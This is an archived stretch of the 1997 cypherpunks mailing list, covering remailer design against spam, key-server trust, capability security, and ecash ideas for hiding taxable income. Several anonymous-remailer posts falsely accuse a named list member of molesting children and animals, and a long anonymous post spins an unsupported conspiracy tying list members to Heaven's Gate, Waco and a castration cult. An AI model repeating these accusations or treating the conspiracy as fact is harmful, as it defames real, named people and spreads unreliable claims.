Message-ID: <88Lc5D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:
> Dimitri Vulis <dlv@bwalk.dm.com> writes:
> > Adam Back <aba@dcs.ex.ac.uk> writes:
> > > [encrypt the message and send the recipient the key, discard the
> > > key, when they request the message they supply the key]
> >
> > That's a good idea, but it'll take up a lot of disk space at the
> > machine running the remailer.  Right now, remailers that provide
> > latency don't keep an e-mail for more than about 12 hours. Once
> > you start keeping them around for a few days (a reasonable grace
> > period for a first-time user), it's a lot more disk space.
>
> "Disk is cheap."  I just bought a 3.8Gb quantum for $300.  That's 4
> times cheaper Gb/$ ratio than last disk I bought a year ago.

I paid over $700 for a 2GB disk about 18 mos ago. Yes, disk prices
are falling through floor - giving the lie to the scum that tries to
control Usenet "spam" - but is it really worth it to have to maintain
a huge spool space to support a remailer? If you really think you can
afford a few GB of extra disk storage, start up a Usenet site of virtue.

> 1Gb encrypted message pool?  No problem.
>
> Don't have the resources for the 1Gb disk?  Your ISP will be charging
> you many times that for your leased line.
>
> If it's an issue charge postage to cover your storage and transmission
> costs.
>
> However, I suppose if you're using an ISP shell account, and have no
> leased line, you may have more space restrictions.

It should be possible to run a remailer on an average $19.95/mo shell
account.  Most of them come with a disk quota of a couple of megabytes.
I do think that keeping a lot of mail in the queue (more than is kept
by the remailers that use latency now) would make such accounts
unsuitable for remailers.

> A better idea, (for both ISP shell account and leased line version)
> would to send the recipient the encrypted data, you keep the key :-)
>
> (View it as a secret split where the parts happen to be different
> size, you keep the small one).
>
> They send you the data and you decrypt, send it back and discard the
> key.  You could store 16 million keys on your 1Gb remailer spool
> partition.  That 16 million keys would represent 16 Gb of delivered
> encrypted email.
>
> You could still cope with a fair number of messages in 1Mb remailer
> key spool in your home file space on an ISP based shell account.
>
> I think this solves remailer resource objections.

yes, this sort of solves the storage problem.

Thinking how this might work...

Alice's remailer gets an e-mail for Bob.

Alice's remailer generates 2 pseudo-random numbers, K and L, and uses
K to encrypt the message with a symmetric cryptoscheme.

Alice's remailer sends the encrypted message and L to Bob with the following
note: if you want to receive the key to decrypt this message, send back L and
acknowledge the disclaimer.

Alice's remailer retains the triple (K,L,Bob). Because it's small, it can
be kept for a long time.

If Bob sends back L, the remailer sends Bob K so he can read his message.

I see a few problems with this. I'm sure it can be improved.

1. What if Bob is another remailer, unknown to Alice?

2. What if Bob doesn't have the program to decode his message? (It's
fair to assume that everyone can fine PGP. It's not fair to assume that
everyone can find e.g. triple DES.)

3. What if the LEA's decide that the collection of triples on Alice's
computer is worth looking at, for instance, for the list of addresses.
(OK, they could be encrypted probably.)

4. What if the LEA's decide to find out how K, L are generated?

> You still have the problem of saturation of your network bandwidth.
> You can probably encrypt (it's symmetric key, say IDEA) fast enough
> for encryption overhead to be less of a problem than the saturation of
> the bandwidth of your leased line.

I think IDEA or triple DES would be fast enough for this.

> Your other problem is user acceptance -- your average user may still
> object to receiving Mb's of junk which while the contents don't offend
> him (he can't read it), the sheer volume may annoy him.

Given how some people react very negatively to what they consider
"unsolicited e-mail", I think it might be a bad idea to send them
large encrypted messages w/o confirming that they want them. But
it's also a bad idea to keep an unknown's e-mail on the remailer.
The only way out, IMO, is to *discard* an unknown's e-mail and to
tell him what positive action he can take so future e-mails don't
get discarded.

And by the way: a remailer should probably keep a list of people
who have been told about the need for a positive action, so they
won't get duplicate notices more than every week or so. If X
sends Y 10 e-mails and the remailer sends Y 10 identical notifications
with the instructions how to enable receipt, Y might get justifiable
upset.

When Alice's remailer gets an e-mail for Bob, it should do
something like:


          try to fetch Bob's public key
          from a well-run key server
            /                    \
         success               failure
           |                      |
      encrypt the e-mail      discard the
      with bob's key and      e-mail!
      pass it to Bob              |
                              was the form
                              letter sent to
                              Bob in the last
                              7 days?    \
                             /            no
                           yes              \
                          /                exit
                    send bob the
                    form letter


Wow, isn't that a perry flow chart. :-)

...
> > Suppose a LEA wants to search the computer hosting the remailer.
> > They come across a bunch of encrypted files.
> > The operator has to convince the LEA that they don't have the means
> > to decrypt the e-mails or even to figure out who they're from.
>
> Well you can't can you?

It may be hard to prove a negative to a LEO who doesn't know what
the hell you're talking about. You have a file in your spool that
was encrypted with a key that your program generated, but now you
no longer have the key? Well, tell us how the key was generated.

...
> I agree with what you're saying that technological aptitude can
> provide some metric of cluefullness.  And that cluefullness usually
> correlates with good net citizenly behaviour (eg understanding what a
> remailer is, and not legally threatening, or setting the Feds on to
> the human owner of a bot.
>
> However there exist quite a few counter examples: cluefull people who
> do not use PGP, or consider it to be too much hassle (quite a lot of
> them hang out on cypherpunks, and will actually object if you send
> them encrypted email, even though spending most of their time on
> cpunks arguing about the usefulness and essentiality of these tools
> for privacy).

Well - if generating and publishing a PGP key were a requirement
to be able to receive anonymous e-mail, I'm sure they'd do it.
Some people (like Dale) legitimately question certain uses of PGP, but
I think in this case it's worth encouraging its use.

> Also some journalists are pretty clueful (or useful to be able to send
> information too, shall we say, journalists as a group having a bad
> rep), and not many can handle PGP.

Hmm - I'm sure John Markoff and even Declan can handle PGP.
If, for example, Jon Schwartz can't handle PGP (and I don't know
whether he can :-), then he doesn't deserve any anonymous tips.
Free market in action.

Later - thanks a lot for the extensive comments.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 29 Mar 1997 18:04:28 -0800 (PST)
To: Anonymous <nobody@replay.com>
Subject: Re: [ANNOUNCEMENT] Cyclic codes
In-Reply-To: <199703300035.BAA18087@basement.replay.com>
Message-ID: <Pine.A41.3.95.970329185941.98012A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 30 Mar 1997, Anonymous wrote:
Vulis give it a rest get a boy friend.

> Timmy `C' Mayonnaise sexually molests little children, farm 
> animals, and inanimate objects.
> 
>    o-:^>___? Timmy `C' Mayonnaise
>    `~~c--^c'
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 29 Mar 1997 19:58:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Microsoft ammunition
Message-ID: <3.0.32.19970329195447.0068b5c8@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:49 PM 3/28/97 -0800, Bill Frantz wrote:
> Whether your personal files are stored on a
>local disk or on a server doesn't matter.  What matters is whether random
>downloaded code (again, Java or ActiveX doesn't matter) can use your
>authority to read/modify those files.  The ActiveX model of, "It's signed
>by XYZ Corp.  Of course it's safe." is so much bullshit.*  The Java
>approach of running untrusted code in a safe box is better, but doing it by
>validating the safety of object code requires trusting a large complex
>verifier.

JavaSoft has moved into the right direction. Their JECF is largely
capabilities based and in fact, Java security in general in moving towards
capabilities. That won't help you against attacks via the underlying
insecure OS, such as Windows 95/NT, MacOS, or UN*X which the typical user
will be running, but it is miles ahead of the initial sandbox model.

>* See Norm Hardy's paper, "The Confused Deputy", which I believe is still
>available through the EROS page at the University of Pennsylvania.

I was a talk by Norm that made me see the light. Secure computing requires
capabilities. And there is anecdotal evidence that it was Norm who
indirectly pointed JavaSoft to the solution to their leaking sandbox problem.

Time for my usual plug: if you are unfamiliar with capabilities based
operating systems or don't know why they are the only currently available
solution to a whole host of computer security problems, do a search for
"KeyKOS". It should get you started.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 29 Mar 1997 11:19:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Hard to Tax Scenario  (fwd)
Message-ID: <199703291918.UAA08038@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


For my views on taxes see
http://www.law.miami.edu/~froomkin/articles/arbitr.htm      


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | 
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 29 Mar 1997 22:12:51 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: RE: Hard to Tax Scenario
Message-ID: <3.0.32.19970329214555.006f24d0@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:24 PM 3/29/97 -0500, Robert Hettinga wrote:
>(By the way, I'm going to embarass Doug Barnes now by naming a law after
>him. He said a thing of beauty at FC97: "Any transaction protocol which
>has, as one of it's steps, '...and then you call the cops', isn't a real
>good idea on the internet." Shall we call it Barnes' Law, anyone? Sure,
>lots have said it before, but no one's said it better...)

Actually, I think it was "...and then you punish them". I second the motion.
:-)



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 29 Mar 1997 20:02:59 -0800 (PST)
To: Hal Finney <cypherpunks@toad.com
Subject: RE: Hard to Tax Scenario
In-Reply-To: <199703300144.RAA01396@crypt.hfinney.com>
Message-ID: <v03020935af638549535a@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:44 pm -0500 on 3/29/97, Hal Finney wrote:

> I think Robin's example of an anonymous doctor is a bit extreme,
> since doctors typically do hands-on work.

Ain't quite so far-fetched as it looks. At the ACM 50 year thing a bit ago,
they were doing telemedical diagnoses. The Army has a teleoperated
meatball-surgery system for battlefields. Onion routed surgery, anyone?

> Yes, I think there is general agreement that these methods will not work
> well for large businesses.  Another issue is the requirement to keep
> fraudulent records, etc., which may involve a large number of people in
> the conspiracy.

Right, but, in a <ducking> geodesic </duck> market, large entities dissolve
anyway because (another of my wildly unsubstantiated claims) large firms'
internal transfer pricing efficiencies aren't any higher than those of the
open market.

> I gather that similar dodges are employeed today by wealthy lawyers and,
> yes, doctors, to hide some of their income.  They hire offshore companies
> to perform some services, which are actually under their control via
> shell corporations, trusts, etc., set up in banking-secrecy jurisdictions.
> Presumably crypto could smooth the way somewhat and open these methods
> up to more people, but I don't see it as a particularly essential ingredient.

I think, soon enough, we're all going to be sole proprietors of some kind,
transacting business on our own behalf on the net, and cash will always
king in that kind of world. Frankly, corporations have no way to hide, or
they would. Heck, when you think about it, corporations, as legal entities,
anyway, can't survive in an environment where laws can't work, anyway.

(By the way, I'm going to embarass Doug Barnes now by naming a law after
him. He said a thing of beauty at FC97: "Any transaction protocol which
has, as one of it's steps, '...and then you call the cops', isn't a real
good idea on the internet." Shall we call it Barnes' Law, anyone? Sure,
lots have said it before, but no one's said it better...)


> These all assume a model where the transaction is open, but where the
> ownership issues are hidden.  However I think we have been talking about
> simpler methods, where the fact of the initial income is what is hidden.

Right. Or, if the income is actually earned and spent on the net. There,
cash is the best payment method because it settles instantly without the
recordkeeping overhead --  much less the indirect cost of law-enforcement
:-).


> Or she takes some work on the side
> via an anonymous network, and the cash goes straight into her pocket.

Oops. I shoulda read further, I guess. :-).

> If receipt-skimming is facilitated by the untraceable nature of ecash,
> then presumably sales tax can be under-reported as easily as income tax.

Or capital gains, or any other book-entry tax.


> I don't know how or whether crypto could help with the more elaborate
> techniques you are really asking about, dummy trading partners and such.
> If you're really paying taxes on your gross receipts, then presumably
> the only way to save is to hide those receipts.  You could do this by
> taking some fraction of your work anonymously, even if most of your
> income is reported.

I think of this stuff at the boundry between cypherspace and meatspace as
the equivalent of turbulence. And, as the joke goes, turbulence is a hard
problem.  :-).

However, I do know that as it becomes more and more easy to buy and hold
assets on the net, particularly financial assets (the largest category
thereof) and, someday, maybe even actual meatspace-physical *stuff*, this
problem, like that of punching through the turbulence at the sound barrier,
or that any other "barrier" for that matter, will be not such a big deal.
(Another paragraph of Proustian proportions, that...)

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 29 Mar 1997 20:04:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PSYOPS/infowar
In-Reply-To: <3.0.1.32.19970329183020.006ef368@postoffice.pacbell.net>
Message-ID: <v0302093aaf638e396ccb@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


This is surely going to piss some people off, but let's some fun with this,
shall we?

At 9:30 pm -0500 on 3/29/97, Greg Broiles wrote:

> According to Ronald Duchin, graduate of the US Army War College and
> former special assistant to the Secy of Defense and director of the
> Veterans of Foreign Wars, activists fall into one of four categories:
> radicals, opportunists, idealists, and realists. He recommends a
> three-step strategy to neutralize activists:
>
> 1.	isolate the radicals

Tim May
Kelly Goen
Phil Zimmermann (then)
Belize, say

> 2.	"cultivate" the idealists

CFP (a virtual terrarium :-))
EFF (agrabiz!)
Phil Zimmermann (now)
Eric Hughes
Michael Froomkin
Any cypherpunk who's actually making money on this stuff :-).
Anguilla
Vanuatu
Me ;-)

> 3.	co-opt the realists into agreeing with industry

RSA
Mondex (a little hand-biting here, on my part)
x.blabla
SET-folk
David Chaum
Hong Kong
Indonesia
The Phillipenes

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Sat, 29 Mar 1997 20:48:26 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: remailer spam throttle
In-Reply-To: <g5Fc5D4w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970329232929.142F-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 29 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

-> Sergey Goldgaber <sergey@el.net> writes:
-> >
-> > Unfortunately, key servers can not be trusted.  I'm sure you're aware that
-> > anyone can submit a key, and thus forgeries abound.
-> >
-> > If the above model is adopted, key servers will be the first target of
-> > the prospective spammer.
-> 
-> Why Sergey, you mean to tell me that there are key servers out there that
-> accept a key from a purported address and don't send back a cookie to that
-> address to see if it's not fake? :-) That's just terrible. Definitely no
-> key coming from such a server should be trusted. :-) :-)
-> 
-> Today is March 29, 1997 - almost April 1st. The Internet ain't what is
-> used to was 15 or 10 or even 2 years ago. If you get an e-mail that
-> purports to be from X, and it requests that you add X's public key
-> to your key server, or (un)subscribe X to a mailing list, or
-> block X from receiving anonymous e-mail - it may be a forgery.
-> Never act on such requests without trying to authenticate them
-> with a cookie.

DNS maps can easily be forged.  Key servers run on machines with questionable 
physical and operating system security.  Finally, key server ops themselves
can mess with keys.

This is why people who use keys off of keyservers are encouraged to verify
the key via it's key fingerprint, or at via the web of trust.

However, this can not be done via automation on a large scale for the purpose
of address blocking, unless via a certification authority.

The bottom line is that keyservers can not be trusted, despite any primitive
security measures they supposedly have in place.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 30 Mar 1997 01:34:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [IMPORTANT] PRNG
Message-ID: <199703300934.BAA15553@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May digs into his cesspool of a mind for his mailing list 
fertilizer.

                _
               / '
              |
           /><oo><\  Timmy May
          //[ `' ]\\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 29 Mar 1997 16:38:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Cyclic codes
Message-ID: <199703300035.BAA18087@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy `C' Mayonnaise sexually molests little children, farm 
animals, and inanimate objects.

   o-:^>___? Timmy `C' Mayonnaise
   `~~c--^c'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 30 Mar 1997 07:32:55 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [IMPORTANT] PRNG
In-Reply-To: <199703300934.BAA15553@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970330082913.32426A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 30 Mar 1997, Huge Cajones Remailer wrote:

Vulis what a sick mind.

> Timmy May digs into his cesspool of a mind for his mailing list 
> fertilizer.
> 
>                 _
>                / '
>               |
>            /><oo><\  Timmy May
>           //[ `' ]\\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 30 Mar 1997 08:50:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Heaven's Cypherpunks
Message-ID: <199703301650.IAA24024@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



   If you like weird connections, how about a Cypherpunks-Heaven's Gate
link?  If you like really weird connections, how about a Cypherpunks-
Heaven's Gate-Solar Temple link?  If you like really, really weird
connections, how about a Cypherpunks-Heaven's Gate-Solar Temple-
Waco link?
   Lest you think I jest, let me explain that what I am about to tell
you
is fairly easy to verify and document, and is not based on vague
allusions
to some psychic vibrations from the comet, which seem to be rather
commonplace lately.

   In the early 1970's there was a small group in Canada, known as the
Bartonian Metaphysical Society.  The group was joined by an individual
named C.J. Parker, who had just had his first experience of "the end of
the world" as a member of Herbert W. Armstrong's Worldwide Church
of God.
    Parker became a teacher and leader in the group, which soon became
the Institute for Applied Metaphysics, with metaphysical retreats in
Saskatchewan, Ontario and Quebec.  There were often UFO reports
surrounding the dates of their intensive seminars in Eastern Canada,
which received press coverage, I believe.  
   Parker was involved, according to both himself and many others,
in the founding of the New Covenant Club during his involvement
with IAM.  This was centered around the belief that the "old
covenant" with God, which involved circumcision, had now been
replaced with a "new covenant," which involved vasectomies.
   Later, some of the Eastern leaders began indicating that if
vasectomies were a good way of indicating one's dedication to
spirituality in the end-times, then castration was even better.
 
    Parker was soon involved in a second "end of the world" when
Winifred Barton made her prediction in the mid-to-late 1970's.
After her prediction appeared (to some) not to come true, then many
left the group and quite a few migrated to other groups, including
the Solar Temple.
   Parker migrated to Texas, where he was involved in the music
business, and in running clubs for mob interests.  He managed clubs
in Waco and Killeen, Texas, where he apparently became involved
with David Koresh, although that might have been at a later date.
    He was arrested and convicted in Bell County, Texas for assault 
on police officers there, sometime around 1980.
    Parker became a recording artist and soon afterward moved
to Tucson, Arizona, where he continued to dabble in music and
metaphysics, travelling across the SouthWestern U.S., as well as
up and down the west coast.

   He started a computer company in Tucson, called "Pearl Harbor
Computers," which was based on the belief that computers were
the work of Satan, that Bill Gates and Microsoft were tenacles of
the Satan, and that those who wished to fight evil must dedicate
themselves to promoting other operating systems, UNIX in 
particular.
  Parker apparently fathered an organization called the "Circle of
Eunuchs" that was dedicated to recruiting individuals who had
the skills and the intelligence to develop systems and methodologies
which could serve to work against what he saw as the plans of
Satan to bring domination over the whole earth 
   At various times, he has had vehicles registered in the states which
were his main recruiting area: Texas, Arizona, California, New
Mexico, and Oregon. (He also made limited recruiting trips to
Germany, Poland, and, I believe, Russia.)

   Parker spent time in California where he was in contact with Do,
who shared his fetish for mixing computers and spirituality, and it
was apparently Parker who introduced him to the concepts underlying
the New Covenant Club.  Parker and Do also shared an affinity for
mixing spirituality and alien theories, and decided that the Internet
was going to be the battleground of the future in the fight between
good and evil.
   Parker was also involved with a group in Berkeley, California,
Basis, Inc., which was heavily involved in a Unix time-sharing
enterprise and gave Parker access to a wide variety of young
students and programmers to introduce to his belief system.
   Parker named the evil protagonist in the manuscript after the
login name for one of Basis' founders, "Gomez."  Parker wrote
the book under the pseudonym of "son of gomez," as Basis'
Gomez was his mentor in the world of UNIX.

   Parker was responsible for a manuscript titled "The Xenix
Chainsaw Massacre" that contained a character, Bubba Rom Dos,
which was loosely based on Do, including veiled references to
his sexual inclination toward youngsters.  Among those in the
Circle of Eunuchs, it was also referred to as Part I of "The True
Story of the Internet," which they foresaw as the vehicle that 
would prove the manuscript prophetic.
   Parker and his tenacles used the Internet to quietly spread the
manuscript among those thought to be potential recruits, even as
Do's group began making their impact on the Internet.
   Parker believed that Phil Zimmerman's troubles were a result
of his group using Zimmerman's PGP to spread the manuscript
secretly across the Internet.  He apparently impressed upon Do
the need to use PGP to secure any communications which were
of a nature that they could cause undue trouble for groups which
were working against Satan and Gates.

   Parker's second manuscript, Part II , began as "TV World" and
later was changed to "WebWorld and the Mythical Circle of Eunuchs."
   This manuscript was apparently supposed to be converted to
hypertext, with complete graphics, by Higher Source, and several
chapters were in the works, but about a week before the El Rancho 
suicides, Parker was told that he should go ahead and release it in
its present form, because Higher Source would not be in a position
to complete the work.

   Parker began converting the second manuscript to hypertext himself
and has had members of his organization releasing it on the Cypherpunks
list.  Chapters of the manuscript have been released from various points
in the U.S., Canada, the U.K., and Russia.
   Although the manuscript had already been completed around a year
before this, Parker, after receiving word to begin its release, began 
making _changes_ in the manuscript, apparently as a result of no longer
having a need to so heavily disguise the connection between the Circle
of Eunuchs and Do.
   A prologue was written for "WebWorld," sent to the Cypherpunks list
on March 18, 1997, in which the opening strains contained the
quote, "Why didn't I _do_ something?"  The word "do" was in bold
hypertext.
   Then, the next word in bold format was the word _me_, indicating
that the first bold word should be pronounced as in the musical notes,
do, re, me.
   The sentence containing the world _me_?  It was a reference to Do
soon
being 'picked up,'
   "This time, they are coming for _me_."
   And the new opening sentence of the manuscript?  A veiled reference
to the fact that those left behind had been warned of their last chance
to 'escape' the fate that awaits them.
"The great tragedy of it, is that it didn't have to happen.  Not at
all...
we were warned."

The URL's of the manuscripts are:
http://bureau42.base.org/public/webworld/
http://bureau42.base.org/public/xenix/xenbody.html  

   They are apparently hosted by David E. Smith <dsmith@prairienet.org>
I don't believe that he is a member of Parker's inner circle, although
he
does have many connections to hackers and phreaks in the Edmonton,
Alberta area.
   Except for the prologue, the sections of the original manuscript seem
to be in small print, with the newly written sections in large print. 
The
new sections appear to use the Cypherpunks as analogous to the space
aliens, and a new character, Jonathan, representing one of the Heaven's
Gate members, is added.
   "He rode the river of tears once again, only this time the journey
was
_toward_ the CypherPunks, and toward freedom."

   It is my understanding that the "Magic Circle" is quite active in
both
Western Canada and the Southwest U.S.  They seem to be a very secretive 
organization with ties to a number of groups, including the Solar Temple 
cult in Quebec, and a Diamond System (?) Freudian-Sufi sect centered in 
the Bay area.

   I dropped all involvement with these people a year or so ago, as I 
decided that involvement with them is unhealthy.  I hope that you will
make an effort to check out what I have told you, and perhaps expose
any activities which could lead to more deaths and castrations.
   I don't want to be involved with anything further to do with them,
as I am uneasy about being connected with them in any way, shape,
or form, although I still keep track of their activities through certain
members who are on the periphery of their organizations.
   C.J. Parker is a nome-de-plume he took on as a musician, and I can't
recall his real name, but it shouldn't be too difficult to find, given
the
fact that he has a criminal record in the U.S. which should link the
pseudonym with his birth name.  He also might be located by tracking
him through his record releases, which were done in Canada, I believe.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sun, 30 Mar 1997 07:13:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: National Citizen-Unit Tracking Database coming soon
Message-ID: <Pine.GSO.3.95.970330101255.24575F-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


National Citizen Dossier System Being Quietly Set Up

That's what the headlines should be saying, anyway.  Instead
they're saying things like:

     (_Knoxville Journal_, 3/27/97)

     Governor's Budget Includes Money to Set Up Gang-Tracking
     Network

     [...]

     [A]s part of the governor's anti-gang proposals, he's
     proposing to spend $625,000 worth of state and federal money
     to set up a gang-tracking computer database and network.

     Four agents of the Tennessee Bureau of Investigation will be
     assigned to do nothing but gather and maintain information
     about gangs in the state's four regions.

     They will analyze and compile the information on computer
     for dissemination throughout the state, the Southeast, and
     the nation - but not for public use.

     Law enforcement agencies will be able to use it and update
     it.

     Information on the database could include a picture, a
     description, the gang affiliation, criminal convictions,
     crimes that a person is suspected in, and possible
     nicknames.

     [...]

Other press reports have indicated that the database will include
"domestic terrorist groups" and will incorporate a great deal of
additional data, such as a roster of vehicles which should be
given special attention at the now-innumberable roadblocks and
checkpoints.

The important thing to note is that - as I understand the
description of the program -  a person does not have to commit a
crime to be included in the database.  They just have to have
contact with a person or group which is already in it.

Didn't somebody named Jospeh McCarthy get himself in trouble over
this kind of thing?

bd








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 30 Mar 1997 07:30:43 -0800 (PST)
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Hard to Tax Scenario
In-Reply-To: <3.0.32.19970329214555.006f24d0@netcom9.netcom.com>
Message-ID: <199703301526.KAA02522@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


When i asked Doug for the details...

>The version I prefer is "It's a major sign of weakness when your 
>payment protocol includes 'and then we have you arrested' as a
>terminating state."

I tend to corrupt this to "'And then the cops show up' is a bad step
to include in your protocol."  Its a wonderful insight.

Adam


Lucky Green wrote:
| At 10:24 PM 3/29/97 -0500, Robert Hettinga wrote:
| >(By the way, I'm going to embarass Doug Barnes now by naming a law after
| >him. He said a thing of beauty at FC97: "Any transaction protocol which
| >has, as one of it's steps, '...and then you call the cops', isn't a real
| >good idea on the internet." Shall we call it Barnes' Law, anyone? Sure,
| >lots have said it before, but no one's said it better...)
| 
| Actually, I think it was "...and then you punish them". I second the motion.
| :-)


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 30 Mar 1997 10:35:36 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: PSYOPS/infowar
Message-ID: <199703301835.KAA13744@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:47 PM 3/29/97 -0500, Robert Hettinga wrote:
>This is surely going to piss some people off, but let's some fun with this,
>shall we?
>
>At 9:30 pm -0500 on 3/29/97, Greg Broiles wrote:
>
>> According to Ronald Duchin, graduate of the US Army War College and
>> former special assistant to the Secy of Defense and director of the
>> Veterans of Foreign Wars, activists fall into one of four categories:
>> radicals, opportunists, idealists, and realists. He recommends a
>> three-step strategy to neutralize activists:
>>
>> 1.	isolate the radicals
>
>Tim May
>Kelly Goen
>Phil Zimmermann (then)
>Belize, say

I'm PISSED!  Ya forgot me!!!  B^)


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 30 Mar 1997 10:55:29 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Heaven's Cypherpunks
In-Reply-To: <199703301650.IAA24024@fat.doobie.com>
